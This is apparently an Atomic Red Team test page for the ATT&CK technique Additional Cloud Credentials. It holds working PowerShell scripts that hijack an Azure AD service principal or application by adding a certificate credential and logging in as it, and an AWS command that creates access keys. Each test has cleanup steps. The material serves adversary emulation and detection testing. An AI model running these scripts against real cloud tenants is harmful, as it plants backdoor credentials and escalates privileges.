Try it using Invoke-Atomic

Account Manipulation: Additional Cloud Credentials

Description from ATT&CK

Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.

For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)

In infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts, adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)

Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts).(Citation: Rhino Security Labs AWS Privilege Escalation)

Atomic Tests

Atomic Test #1 - Azure AD Application Hijacking - Service Principal

Add a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application. This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.

Supported Platforms: azure-ad

auto_generated_guid: b8e747c3-bdf7-4d71-bce2-f1df2a057406

Inputs:

Name Description Type Default Value
username Azure AD username string jonh@contoso.com
password Azure AD password string p4sswd
service_principal_name Name of the targeted service principal string SuperSP
certificate_password Password of the new certificate string Passw0rd
path_to_cert Path of the new certificate, locally stored string $env:TEMP

Attack Commands: Run with powershell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential > $null

$sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }

# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$certNotAfter = (Get-Date).AddDays(2)
$credNotAfter = (Get-Date).AddDays(1)
$thumb = (New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation "cert:\CurrentUser\My" -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter).Thumbprint
Write-Host "Generated certificate ""$thumb"""
$pwd = ConvertTo-SecureString -String "#{certificate_password}" -Force -AsPlainText
Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{service_principal_name}.pfx" -Password $pwd > $null

$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate("#{path_to_cert}\#{service_principal_name}.pfx", $pwd)
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())

New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

Start-Sleep -s 30
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $thumb
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"

Cleanup Commands:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null

$sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
$credz = Get-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId
foreach ($cred in $credz) {
  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") {
    Write-Host "Removed $($cred.KeyId) key from SP"
    Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -KeyId $cred.KeyId
  }  
}
Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item
rm "#{path_to_cert}\#{service_principal_name}.pfx" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: AzureAD module must be installed.

Check Prereq Commands:

1
2

try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Get Prereq Commands:

1
2

Install-Module -Name AzureAD -Force

Atomic Test #2 - Azure AD Application Hijacking - App Registration

Add a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application. This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.

Supported Platforms: azure-ad

auto_generated_guid: a12b5531-acab-4618-a470-0dafb294a87a

Inputs:

Name Description Type Default Value
username Azure AD username string jonh@contoso.com
password Azure AD password string p4sswd
application_name Name of the targeted application string SuperApp
certificate_password Password of the new certificate string Passw0rd
path_to_cert Path of the new certificate, locally stored string $env:TEMP

Attack Commands: Run with powershell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential > $null

$app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
if ($app -eq $null) { Write-Warning "Application not found"; exit }

# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$certNotAfter = (Get-Date).AddDays(2)
$credNotAfter = (Get-Date).AddDays(1)
$thumb = (New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation "cert:\CurrentUser\My" -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter).Thumbprint
Write-Host "Generated certificate ""$thumb"""
$pwd = ConvertTo-SecureString -String "#{certificate_password}" -Force -AsPlainText
Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{application_name}.pfx" -Password $pwd > $null

$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate("#{path_to_cert}\#{application_name}.pfx", $pwd)
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())

New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

Start-Sleep -s 30
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $thumb
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"

Cleanup Commands:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null

$app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
$credz = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId
foreach ($cred in $credz) {
  if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") {
    Write-Host "Removed $($cred.KeyId) key from application"
    Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $cred.KeyId
  }  
}
Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item
rm "#{path_to_cert}\#{application_name}.pfx" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: AzureAD module must be installed.

Check Prereq Commands:

1
2

try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Get Prereq Commands:

1
2

Install-Module -Name AzureAD -Force

Atomic Test #3 - AWS - Create Access Key and Secret Key

Adversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised

Supported Platforms: iaas:aws

auto_generated_guid: 8822c3b0-d9f9-4daf-a043-491160a31122

Inputs:

Name Description Type Default Value
username Create new AWS access and secret keys for the user string atomicredteam

Attack Commands: Run with sh!

1
2
3
4

aws iam create-access-key --user-name #{username} > $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds
cd $PathToAtomicsFolder/T1098.001/bin/
./aws_secret.sh

Cleanup Commands:

1
2
3
4

access_key=`cat $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds| jq -r '.AccessKey.AccessKeyId'`
aws iam delete-access-key --access-key-id $access_key --user-name #{username}
rm $PathToAtomicsFolder/T1098.001/bin/aws_secret.creds

Dependencies: Run with sh!

Description: Check if the user exists.

Check Prereq Commands:

1
2

aws iam list-users | grep #{username}

Get Prereq Commands:

1
2

echo Please run atomic test T1136.003, before running this atomic

source